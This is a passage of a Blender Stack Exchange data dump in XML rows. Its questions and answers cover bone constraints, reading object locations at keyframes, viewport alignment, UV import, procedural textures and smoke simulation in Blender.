  <row Id="5634" PostTypeId="2" ParentId="5631" CreationDate="2013-12-17T22:12:29.663" Score="12" Body="&lt;p&gt;Just drag the hatched edge to another side and release the mouse button (when the big arrow appears).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HYsCf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-12-17T22:12:29.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5635" PostTypeId="1" CreationDate="2013-12-17T22:37:42.950" Score="4" ViewCount="894" Body="&lt;p&gt;I'm having so many issues with parenting bones. I'm trying to use the 'child of' modifier to parent a 'lightsaber bone' to a 'hand bone'. But when I apply the modifier, the lightsaber bone and its mesh is shrunk down to half it's size for some reason. How can I make it attach at the correct size?&lt;/p&gt;&#xA;" OwnerUserId="1884" LastEditorUserId="5426" LastEditDate="2016-12-31T19:29:18.520" LastActivityDate="2017-03-22T20:35:19.847" Title="why is 'child of' modifier scaling my bone?" Tags="&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5636" PostTypeId="1" AcceptedAnswerId="5641" CreationDate="2013-12-17T22:43:51.093" Score="10" ViewCount="6413" Body="&lt;p&gt;I'm trying to track the (x,y,z) location of an animated object. For a small test, I translated the default cube ('Cube') along the x axis and baked keyframes. The animation plays fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I adapted the suggestion for &lt;a href=&quot;https://blender.stackexchange.com/questions/1046/set-existing-animation-start-frame-with-script&quot;&gt;this question&lt;/a&gt; to try and print the &lt;code&gt;location&lt;/code&gt; at each keyframe.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;cube=bpy.data.objects['Cube']&#xA;for f in cube.animation_data.action.fcurves:&#xA;    for k in f.keyframe_points:&#xA;        pos=cube.location&#xA;        print(pos)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run from the shell, the output is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Vector (0.0000, 0.0000, 0.0000)&amp;gt;&#xA;&amp;lt;Vector (0.0000, 0.0000, 0.0000)&amp;gt;&#xA;&amp;lt;Vector (0.0000, 0.0000, 0.0000)&amp;gt;&#xA;...&#xA;&amp;lt;Vector (0.0000, 0.0000, 0.0000)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I go to the last keyframe and execute &lt;code&gt;cube.location&lt;/code&gt;, it correctly returns&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Vector((6.924227714538574, 0.0, 0.0)) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get the location at each keyframe?&lt;/p&gt;&#xA;" OwnerUserId="1886" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2013-12-18T00:47:38.170" Title="How can I get the location of an object at each keyframe?" Tags="&lt;scripting&gt;&lt;animation&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5637" PostTypeId="1" AcceptedAnswerId="5683" CreationDate="2013-12-17T23:44:05.463" Score="8" ViewCount="210" Body="&lt;p&gt;If you move an area to match up with another area, the get &quot;locked&quot; and I can't figure out how to separate them without joining and splitting a new area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see that at the beginning the areas are separate, but at the end they are locked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q1di9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-12-19T14:12:44.913" Title="How to separate locked areas?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5638" PostTypeId="2" ParentId="5636" CreationDate="2013-12-17T23:48:55.693" Score="7" Body="&lt;p&gt;Anyway to get the data you want (for frames for example 1-40):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for frame in range(1,40):&#xA;    bpy.context.scene.frame_set(frame)&#xA;    print(cube.location)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Upside is you dont have to bake the animation to get the data for each frame, downside is that with complex scenes it might be very time consuming to execute the script.&lt;/p&gt;&#xA;" OwnerUserId="1610" LastActivityDate="2013-12-17T23:48:55.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5639" PostTypeId="1" AcceptedAnswerId="5640" CreationDate="2013-12-17T23:51:29.767" Score="1" ViewCount="5398" Body="&lt;p&gt;How do I align the viewport view so it is looking out of a selected object? How do I move an object to the viewport's view? This would be useful for placing some objects like lights where the viewport &quot;camera&quot; is, or aligning one object to another.&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2013-12-18T05:15:42.677" LastActivityDate="2017-05-31T08:41:11.700" Title="Align viewport view to object/Move object to viewport view" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5640" PostTypeId="2" ParentId="5639" CreationDate="2013-12-17T23:51:29.767" Score="2" Body="&lt;p&gt;&lt;strong&gt;Viewport to object&lt;/strong&gt;&lt;br&gt;&#xA;To align the viewport to the object, select your desired object and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad0&lt;/kbd&gt;. This sets the selected object as the active viewport camera. Hit &lt;kbd&gt;Numpad0&lt;/kbd&gt; to return to your normal view, and return back to the object view again with the same key. Repeat this procedure on the camera when you are done in order to use the camera as normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Object to viewport&lt;/strong&gt;&lt;br&gt;&#xA;To align the object to the viewport, first set the desired object as your active camera and return to your view (steps above), then hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Numpad0&lt;/kbd&gt; to snap the object set as your active camera to your current viewport view. You can also fly the view with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; to move the object around with the view. You may need to enter wireframe mode by hitting &lt;kbd&gt;Z&lt;/kbd&gt; (while not in fly mode) in order to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the same process you may already be familiar with when aligning the camera, but it also works on other objects.&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="21119" LastEditDate="2017-05-31T08:41:11.700" LastActivityDate="2017-05-31T08:41:11.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5641" PostTypeId="2" ParentId="5636" CreationDate="2013-12-18T00:22:33.390" Score="10" Body="&lt;p&gt;The reason your script was returning &lt;code&gt;0, 0, 0&lt;/code&gt; is because you were printing the location of the object on the current frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically your code says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Print the location of the cube object the same number of times as there are number of keyframes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So &lt;a href=&quot;https://blender.stackexchange.com/questions/5636/how-can-i-get-the-location-of-an-object-at-each-keyframe/5641#comment8935_5636&quot;&gt;as mentioned by kilbee&lt;/a&gt; you need to set the scene frame to the frame that the keyframe is on in order to read the location of the object on that frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By combining your code with kilbee's:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;ob = bpy.context.object&#xA;&#xA;for f in ob.animation_data.action.fcurves:&#xA;    for k in f.keyframe_points:&#xA;        fr = k.co[0]&#xA;        bpy.context.scene.frame_set(fr)&#xA;        pos=ob.location&#xA;        print(pos)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you only check frames with keyframes, as opposed to checking every frame.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2013-12-18T00:47:38.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5642" PostTypeId="1" CreationDate="2013-12-18T01:35:51.840" Score="3" ViewCount="563" Body="&lt;p&gt;I'm currently writing an import script/addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file format is one vertex per line: &lt;code&gt;x, y, z, u, v&lt;/code&gt;&#xA;With 3 lines for each triangle (no quads).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've got vertex's, edges and faces all importing correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I just need to import the UV coordinates for each vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I'm having trouble trying to find a way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best result so far was copying code from the UV operator template, which gave me a UV Map, but it puts the whole model at one point. &lt;/p&gt;&#xA;" OwnerUserId="1887" LastEditorUserId="20" LastEditDate="2013-12-18T01:58:17.973" LastActivityDate="2013-12-18T01:58:17.973" Title="Importing UV coordinates" Tags="&lt;python&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5643" PostTypeId="1" CreationDate="2013-12-18T03:33:22.060" Score="5" ViewCount="1083" Body="&lt;p&gt;I have a 2 node netrender setup that is fully functional with Blender render engine but not Cycles. When I do this it is rendering because it takes some time for it to return the blank images but it is not rendering the animation. If you need more information just ask nicely please :)&lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2014-08-20T06:43:27.510" Title="Cycles Netrender Returning Black" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;network&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5644" PostTypeId="1" AcceptedAnswerId="5645" CreationDate="2013-12-18T06:40:22.127" Score="7" ViewCount="1495" Body="&lt;p&gt;Is there a way to play a sound after a script finishes ? For scripts taking between 30min and many hours (like the delaunay triangulation one from doomlysz), it's good to not have to check every 10 min if the job is done or not.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2020-01-30T12:44:03.417" Title="How to play a sound after script finishes?" Tags="&lt;scripting&gt;&lt;audio&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5645" PostTypeId="2" ParentId="5644" CreationDate="2013-12-18T07:07:42.877" Score="5" Body="&lt;p&gt;You could play a MP3 file using the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/aud.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;aud module&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import aud&#xA;import time&#xA;&#xA;sound = aud.Factory.file(pathToMP3 )&#xA;device = aud.device()&#xA;handle = device.play(sound)&#xA;# omit this to play full sound file&#xA;time.sleep(5) &#xA;handle.stop()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could launch any external application as described here: &lt;a href=&quot;https://blender.stackexchange.com/questions/3057/run-an-external-application-with-the-bge/3058#3058&quot;&gt;Run an external application with the bge&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-12-18T12:03:19.490" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5647" PostTypeId="2" ParentId="5613" CreationDate="2013-12-18T10:57:15.170" Score="2" Body="&lt;p&gt;I would use the re-topology tools to create a clean mesh to replace the messy one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blender manual has details of the tools, such as &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/editing/transform/control/snap.html?highlight=retopology#snapping&quot; rel=&quot;nofollow noreferrer&quot;&gt;snapping&lt;/a&gt; and &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/deform/shrinkwrap.html#shrinkwrap-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;shrinkwrap&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://cgcookie.com/archive/?fwp_library_search=retopology&amp;amp;fwp_division=blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blendercookie&lt;/a&gt; has several tutorials on retopology.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="15924" LastEditDate="2017-03-22T20:43:26.157" LastActivityDate="2017-03-22T20:43:26.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5648" PostTypeId="2" ParentId="5635" CreationDate="2013-12-18T11:23:13.793" Score="5" Body="&lt;p&gt;A child of constraint is the same as &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/properties/relations/parents.html?#parenting-objects&quot; rel=&quot;nofollow noreferrer&quot;&gt;parenting an object&lt;/a&gt;, when you move the parent the child also moves, scale the parent and the child also scales.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using the constraint instead of direct parenting you can control some of this behaviour. By turning off the scale options you can stop the lightsaber scaling with your armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pM0ak.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does highlight one point though, you have an armature that is scaled, you most likely scaled the armature while in object mode to get it to fit your model. Having an armature that is scaled can cause odd behaviour like this at times so you may want to apply the scale to your armature by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and choosing scale while in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UrLk4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="15924" LastEditDate="2017-03-22T20:35:19.847" LastActivityDate="2017-03-22T20:35:19.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5649" PostTypeId="1" CreationDate="2013-12-17T10:18:45.590" Score="5" ViewCount="4259" Body="&lt;p&gt;I'm using Blender 2.69. I added a plane mesh to the model (display draw type: Texture). Added a material and a alpha transparent PNG image (coordinates is UV, rest is all default). In the UA/Image Editor I definitely see the transparency of the PNG file that I put on top of the plane/mesh. In the 3D View the image is displayed on the mesh. However, the color of the plane is black, albeit the preview of the material is showing transparent. Why is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For test purpose I also changed the material to transparent, alpha value 0.2. The plane remains black. Why is it that I'm missing out here? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Observation: In the Viewport Shading, &quot;Rendered&quot; would show the panel transparent. But not in &quot;Textured&quot; mode. I'm puzzled. Shouldn't &quot;Textured&quot; viewport shading show textures?!? Have I got the wronng expectation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Renderer: Blender Renderer&#xA;OS: Win 8.1&lt;/p&gt;&#xA;" OwnerDisplayName="feder" LastEditorUserId="12" LastEditDate="2013-12-18T13:51:37.483" LastActivityDate="2014-02-28T02:26:32.617" Title="Transparent mesh with material/texture remains black" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;texturing&gt;&lt;3d-view&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5650" PostTypeId="2" ParentId="5649" CreationDate="2013-12-18T05:17:57.747" Score="3" Body="&lt;p&gt;When using the blender internal render engine you need to use glsl shading to see transparency in textured mode. This option can be found in the properties panel on the right of the 3dview by pressing &lt;kbd&gt;N&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x07f7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using the cycles render engine, the nodes based materials effect the 3dview when in rendered mode, while some nodes have a limited effect in textured mode.&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2013-12-18T05:17:57.747" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5652" PostTypeId="1" AcceptedAnswerId="5653" CreationDate="2013-12-18T14:36:53.163" Score="2" ViewCount="926" Body="&lt;p&gt;I'm having trouble finding a way to create a rectangular mesh that sits on the outside of a sphere (but takes the shape of the sphere).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone lead me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="1895" LastEditorUserId="20" LastEditDate="2013-12-18T14:42:55.837" LastActivityDate="2013-12-18T15:02:59.397" Title="Creating a curved rectangle on outside of a sphere?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5653" PostTypeId="2" ParentId="5652" CreationDate="2013-12-18T14:52:58.813" Score="3" Body="&lt;p&gt;It sounds like you want to do something like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YPCJY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To model that:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a plane (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &amp;gt; Add &amp;gt; Mesh &amp;gt; Plane).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Give it some extra geometry with a Simple Subdivision surface modifier:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BcZmK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a shrink wrap modifier and select the target object in the Target input box:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ao0SR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Solidify modifier to give it some thickness:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/81JzD.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;And you get:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gQpod.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-18T15:02:59.397" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5654" PostTypeId="1" CreationDate="2013-12-18T15:01:57.207" Score="3" ViewCount="790" Body="&lt;p&gt;I've been creating a procedural material (white a bit glossy paint with rusty dents). I've created most of it without problems, but when I connect output of &lt;em&gt;noise&lt;/em&gt; node (after few modifications) to &lt;em&gt;displacement&lt;/em&gt; socket of material output, some of the dents are correct (downwards) and some of them are upwards. Is there a way to force it to be directed always in the opposite side of normal? (Make it always go downwards into the face)&lt;/p&gt;&#xA;" OwnerUserId="1545" LastEditorUserId="527" LastEditDate="2013-12-18T17:31:13.223" LastActivityDate="2013-12-18T17:31:13.223" Title="Cycles procedural material displacement is different (up/down) on different faces" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5655" PostTypeId="2" ParentId="2460" CreationDate="2013-12-18T15:40:07.923" Score="0" Body="&lt;p&gt;I often encounter this same problem, but I solve it a different way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, as @gandalf3 suggests in his comment on the first answer, I don't think it's possible to modify the seed of the texture, with or without a driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually add a mapping node for each texture that I want to be different. I'll give each one some different x, y, and/or z translation. This uses a different part of the texture without affecting its scale or other characteristics, and doesn't require another object to keep track of.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-18T15:40:07.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5656" PostTypeId="2" ParentId="1777" CreationDate="2013-12-18T16:01:36.570" Score="1" Body="&lt;p&gt;It looks like part of the problem is that you're using both a subsurf and a displace modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're going for accuracy, make sure your subsurf is ABOVE the displace. This will give you more polygons to work with (and can be handy for controlling the number of polys you have to render in the viewport, without affecting the final render), but it will not smooth the polygons at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking for &quot;nice&quot; (smooth) results, make sure that your subsurf is BELOW the displace modifier. Just be aware that the subsurf will smooth things without regard to accuracy. Any high-frequency data (sharp peaks, deep troughs, saddles, cliffs, etc.) will be essentially lost (smoothed over).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last caveat, as you've apparently discovered, if your mesh has enough polygons, then your polys will eventually be more dense than the pixels of your texture, in which case you're going to get a VERY accurate recreation of the texture... down to every aliased pixel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done some of this kind of terrain work before and the unfortunate reality is that the most accurate results often don't look as pretty as we want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-18T16:01:36.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5657" PostTypeId="2" ParentId="5654" CreationDate="2013-12-18T16:05:14.623" Score="2" Body="&lt;p&gt;You could use a color ramp and set the black value to a grey to add a plateau:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/y3YYa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qfp6j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-12-18T16:05:14.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5658" PostTypeId="1" AcceptedAnswerId="5662" CreationDate="2013-12-18T16:56:50.917" Score="9" ViewCount="1131" Body="&lt;p&gt;Is there support for generating procedural textures in Cycles using, say, Python scripting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The built in procedural textures are very limited.&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2013-12-18T18:20:28.927" Title="Is there a way to use custom procedural textures in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5659" PostTypeId="2" ParentId="5654" CreationDate="2013-12-18T17:07:49.363" Score="2" Body="&lt;p&gt;If I can read your title with this much detail, if the displacement is different on different faces, then it sounds like your normals are not all facing the same direction. You can fix this by looking in the Mesh menu (in edit mode). Select all the faces, go to Mesh-&gt;Normals-&gt; Recalculate Outside&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will attempt to flip any normals that are facing INTO the mesh, so that they face OUT of the mesh. FYI, this doesn't work very well on non-manifold meshes.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-18T17:07:49.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5660" PostTypeId="1" CreationDate="2013-12-18T17:13:23.843" Score="4" ViewCount="486" Body="&lt;p&gt;I was looking for aerodynamic simulation possibilities in blender and after some research landed to this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?139557-Multibody-Dynamic-Simulation-Available-Now&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?139557-Multibody-Dynamic-Simulation-Available-Now&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It took me about an hour to figure out that it won't work for 2.6x so I downloaded 2.49 portable, followed all the steps and got ready to run the script. When running the script, it would show missing module (&lt;code&gt;tempfile&lt;/code&gt;, &lt;code&gt;numpy&lt;/code&gt;, &lt;code&gt;scipy&lt;/code&gt;) errors. Finally the last (I hope) error I got was that I cannot run &lt;code&gt;scipy&lt;/code&gt; from the &lt;code&gt;numpy&lt;/code&gt; source directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got no hint why is it caused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone got a solution for the directory error, possibly for running MBDyn?&lt;/p&gt;&#xA;" OwnerUserId="432" LastEditorUserId="185" LastEditDate="2013-12-18T22:03:05.237" LastActivityDate="2015-07-14T21:18:43.310" Title="Blender and MBdyn" Tags="&lt;python&gt;&lt;animation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5661" PostTypeId="1" CreationDate="2013-12-18T17:40:33.827" Score="3" ViewCount="306" Body="&lt;p&gt;Right now I am making a model of a wind elemental in blender, and was trying to use the smoke simulation to make a small whirlwind that swirls around its main body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the smoke simulation doesn't appear to observe the emitter mesh's current pose.  Rather than emitting from the model itself, it appears to emit from an invisible figure in a T-pose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to correct this problem, or is this something I should file a bug report on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I've rendered the first frame of the smoke simulation to show where it starts off from, in order to better demonstrate the issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://lh5.googleusercontent.com/-7LFUGL8k4_w/UrHe2Ke_CVI/AAAAAAAADqs/v69WSPE5Lek/s0/WindElemental_SmokeError.png&quot; alt=&quot;Wind Elemental&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1897" LastEditorUserId="12" LastEditDate="2013-12-18T18:43:49.067" LastActivityDate="2013-12-18T22:08:11.303" Title="Get smoke simulation to observe emitter's pose?" Tags="&lt;physics&gt;&lt;armature&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="14" FavoriteCount="1" ClosedDate="2013-12-18T23:20:49.423" ContentLicense="CC BY-SA 3.0" />
  <row Id="5662" PostTypeId="2" ParentId="5658" CreationDate="2013-12-18T18:07:21.313" Score="10" Body="&lt;p&gt;As mentioned, Open Shading Language is likely what you are after. The Blender Wiki has good OSL info. In addition, you may want to check out: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.openshading.com&quot;&gt;www.openshading.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If OSL is not your thing, you may want to check out the many Blender procedural experiments (incl. Python) by Jimmy Gunawan at: &lt;a href=&quot;http://blendersushi.blogspot.com&quot;&gt;blendersushi.blogspot.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1898" LastEditorUserId="72" LastEditDate="2013-12-18T18:20:28.927" LastActivityDate="2013-12-18T18:20:28.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5663" PostTypeId="2" ParentId="5661" CreationDate="2013-12-18T19:24:33.800" Score="1" Body="&lt;p&gt;I know the smoke sim has changed a lot recently, but it used to have a modifier on the modifier stack. It's possible that your smoke sim's modifier is above the armature modifier in the modifier stack, IWC the smoke sim is getting calculated, THEN the pose is getting calculated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also looks like the t-pose figure is a little bigger than the other. If that's the case, you should make sure your scale is applied on the model and the rig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-18T19:24:33.800" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5664" PostTypeId="1" CreationDate="2013-12-18T21:00:21.880" Score="3" ViewCount="3122" Body="&lt;p&gt;I have a fun problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;character.blend&lt;/code&gt; I have an armature and a mesh with shapekeys inside a Group. In a new scene (&lt;code&gt;pose.blend&lt;/code&gt;) I have Linked in Group. I then created a proxy (Make Proxy) and posed out the character. Now I'm noticing a small problem that I would like to fix for just this &lt;code&gt;pose.blend&lt;/code&gt; file. How can I modify the mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my Outliner (under &lt;em&gt;All Scenes&lt;/em&gt;) I have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;character&lt;/code&gt; which is just an empty containing everything that was in&#xA;the group, however I cannot select the mesh or armature&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;character_proxy&lt;/code&gt; which is the armature that I was able to move and&#xA;manipulate&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some things I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Making local the whole group. I still cannot select the mesh&lt;/li&gt;&#xA;&lt;li&gt;Making local the objects in the outliner, the mesh is no where to be found and I cannot edit &lt;code&gt;character&lt;/code&gt; (it is 